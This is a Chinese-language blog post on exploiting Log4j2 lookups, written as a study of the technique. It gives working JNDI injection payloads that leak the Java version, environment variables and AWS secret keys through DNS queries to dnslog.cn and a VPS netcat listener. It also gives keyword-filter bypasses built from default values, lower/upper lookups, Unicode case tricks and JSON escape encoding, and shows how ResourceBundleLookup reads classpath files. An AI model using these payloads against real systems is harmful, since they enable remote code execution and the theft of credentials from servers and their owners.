Log4j2 利用手法学习

前言

在分析 log4j2 的过程中由于递归解析 ${} ,所以我们可以将其他 lookup 与 jndilookup 相结合从而变形 payload Bypass Waf 、获取 jdk 版本等,正好浅蓝师傅昨天也发了篇文章正好自己也仔细来看看

官方文档:https://logging.apache.org/log4j/2.x/manual/lookups.html

源码介绍

在源码分析的时候不难发现 substitute 函数是循环嵌套解析的

例如我们输入的 payload 是如下这样

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

那么log4j2 就会先取出 ${} 中的内容变为 jndi:ldap://${java:version}.u2xf5m.dnslog.cn 然后再通过正则匹配 ${ 和 } 如果还存在又会调用 this.substitute 来进行重新处理,然后就会对 java:version 进行处理,截取冒号前的字符串,然后从 strlookups 中获取对应的 Lookup,并调用其 lookup 方法

image-20211212201850606

例如下图的 JavaLookup ,然后返回 String 类型的数据

image-20211212202126482

所有 Lookup 都是 StrLookup 的实现类,所以返回都是String 类型

image-20211212202214306

然后就会在 substitute 中进行替换

例: ${java:version} => Java version 1.8.0_20

image-20211212202259416

大致流程如下:

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
  => jndi:ldap://${java:version}.u2xf5m.dnslog.cn
    => ${java:version} => java:version => Java version 1.8.0_20
      => jndi:ldap://Java version 1.8.0_20.u2xf5m.dnslog.cn
            => DNS Query Record  :Java version 1.8.0_20.u2xf5m.dnslog.cn ( dnslog 收到结果)

Lookup

这块还是要结合一下官方文档:

官方文档:https://logging.apache.org/log4j/2.x/manual/lookups.html

在官方文档中介绍了各种不同类型的 Lookup ,下面简单列几个

ENV

可通过 env 来获取环境变量中的一些信息

logg.error("${jndi:ldap://${env:USER}.d0j226.dnslog.cn}")

image-20211212202914553

获取一些云主机的 Key

logg.error("${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.d0j226.dnslog.cn}")

Java

logg.error("${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}");

image-20211212203243433

由于 JNDI 注入高版本默认 codebase 为 true 所以可以通过这个方法来获取 jdk 版本从而选择不同的攻击方式

还有很多种 lookup 感兴趣的可以仔细去看看文档

利用手法

在看文档的时候还有一个特性也蛮有意思的,即 :- 根据官方文档中的描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

image-20211212202717637

通过这个特性可以 bypass 一些针对 jndi ldap 这种的关键字拦截 (虽然我觉得有可能waf早就想到这一点)

例如:logg.error("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

同时也可以利用 lower 和 upper 来进行 bypass 关键字

logg.error("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.error("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....

同时也可以利用一些特殊字符的大小写转化的问题

ı => upper => i (Java 中测试可行)

ſ => upper => S (Java 中测试可行)

İ => upper => i (Java 中测试不可行)

K => upper => k (Java 中测试不可行)

logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...

由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试

像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

再回来看 jndi ,jndi 即 Java命名和目录接口,所以他支持以下这几种协议

image-20211212205424899

所以我们也可以通过 dns 协议来获取信息

payload:logg.error("${jndi:dns://xxxxx:8090/${java:version}}");

在 VPS 上开启 nc -luvvp 8090

image-20211212205558355

ResourceBundleLookup

这是浅蓝师傅提出来的,链接:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

我这里利用 Springboot 的环境,环境的 pom.xml 中要将 Springboot 自带的日志利用 log4j2 来替代掉

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

image-20211212212443705

直接来看到这个类的 lookup 方法,在该方法中要求输入的 key必须要为 aaa:bbb 这样的形式

其中冒号前面当作文件名,冒号后面的当作 key,我们可以通过这种方法来加载 classpath 下的文件来进行读取敏感信息

image-20211212212202812

image-20211212213113535

image-20211212213132173

同时也可以利用上面 dns 的方法在不出网的情况下进行读取数据

参考链接

https://blog.5am3.com/2020/02/11/ctf-node1/

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇